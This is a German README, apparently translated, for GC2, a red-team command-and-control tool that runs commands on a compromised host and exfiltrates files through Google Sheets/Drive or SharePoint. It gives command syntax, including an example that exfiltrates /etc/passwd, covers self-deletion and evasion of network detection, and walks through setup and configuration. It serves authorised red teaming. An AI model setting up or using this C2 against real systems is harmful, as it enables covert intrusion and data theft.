
GC2 ist eine Command-and-Control-Anwendung, die es einem Angreifer ermöglicht, Befehle auf dem Zielcomputer auszuführen, indem er Google Sheets oder Microsoft SharePoint-Listen verwendet, und Dateien mit Google Drive oder Microsoft SharePoint-Dokumente zu exfiltrieren.
GC2 (Google Command and Control) ist eine Command-and-Control-Anwendung, die es einem Angreifer ermöglicht, Befehle auf dem Zielcomputer mithilfe von Google Sheet oder Microsoft SharePoint List auszuführen und Dateien über Google Drive oder Microsoft SharePoint Document zu exfiltrieren.
Dieses Projekt wurde entwickelt, um ein Command and Control bereitzustellen, das während Red-Teaming-Aktivitäten keine besondere Einrichtung erfordert (wie eine benutzerdefinierte Domain, VPS, CDN, ...).
Darüber hinaus interagiert das Programm nur mit den Domains von Google und Microsoft (wie *.google.com), um die Netzwerkerkennung zu erschweren.
Ein Google Sheet wird automatisch vom C2 erstellt. Sobald es erstellt ist, können Sie wie unten gezeigt mit dem kompromittierten System interagieren.
Eine Microsoft SharePoint List wird automatisch vom C2 erstellt. Sobald sie erstellt ist, können Sie wie unten gezeigt mit dem kompromittierten System interagieren.
Ein spezieller Befehl ist für die Exfiltration von Dateien vom Zielsystem reserviert.
From Target to Google Drive/Microsoft SharePoint Document
upload;<local path>
Example:
upload;/etc/passwd
Hinweis: Dateien mit demselben Namen werden automatisch überschrieben.
Ein spezieller Befehl ist für das Herunterladen von Dateien auf das Zielsystem reserviert.
From Google Drive to Target
download;<google drive file id>;<local path>
Example:
download;<file ID>;/home/user/downloaded.txt
Hinweis: Dateien müssen im SharePoint-Stammordner gespeichert werden, normalerweise "Documents"
From SharePoint to Target
download;<SharePoint file path>;<local path>
Example:
download;download.txt;/home/user/downloaded.txt
Durch Senden des exit-Befehls wird der C2 sich selbst beenden und vom Zielsystem löschen.
PS: Aus der os-Dokumentation: Wenn ein Symlink zum Starten des Prozesses verwendet wurde, kann das Ergebnis je nach Betriebssystem der Symlink oder der Pfad, auf den er verwies, sein. In diesem Fall wird der Symlink gelöscht.
Dieser C2 unterstützt sowohl Google- (Google Sheet + Google Drive) als auch Microsoft-Dienste (SharePoint Lists + SharePoint Document). Um den C2 zu verwenden, müssen Sie sowohl die lokale als auch die Cloud-Konfiguration einrichten.
Erstellen Sie ein neues Google-Dienstkonto
Erstellen Sie ein neues Google-Dienstkonto über https://console.cloud.google.com/, erstellen Sie eine .json-Schlüsseldatei für das Dienstkonto.
Aktivieren Sie die Google Sheet API und Google Drive API
Aktivieren Sie die Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api und die Google Sheet API https://developers.google.com/sheets/api/quickstart/go.
Richten Sie Google Sheet und Google Drive ein
Erstellen Sie ein neues Google Sheet und teilen Sie es (als Editor) mit dem Dienstkonto (durch Verwendung seiner E-Mail).
Erstellen Sie einen neuen Google Drive-Ordner und teilen Sie ihn (als Editor) mit dem Dienstkonto (durch Verwendung seiner E-Mail).
Um mit Microsoft-Diensten zu interagieren, benötigen Sie zunächst ein Business-Abonnement (Sie können eines für die ersten 30 Tage kostenlos erhalten).
Erstellen Sie eine Azure-Anwendung
Erstellen Sie eine neue Azure-Anwendung wie hier beschrieben https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http
Nach dem Erstellen der neuen Anwendung aktivieren Sie die folgenden Graph-APIs:
Laden Sie den C2 herunter
Der C2 kann direkt von GitHub geklont werden:
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
Konfigurieren Sie den C2
Um den C2 zu konfigurieren, müssen Sie die Datei cmd/options.yml ändern. Der C2 unterstützt sowohl Google- als auch Microsoft-Dienste, ein Mischen ist ebenfalls möglich.
Nur Google-Dienste
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Google" # Google Drive will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Ihr Google-Dienstkontoschlüssel muss maskiert werden, bevor Sie ihn in die Konfigurationsdatei einfügen. Sie können den folgenden Befehl verwenden, um ihn zu maskieren:
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'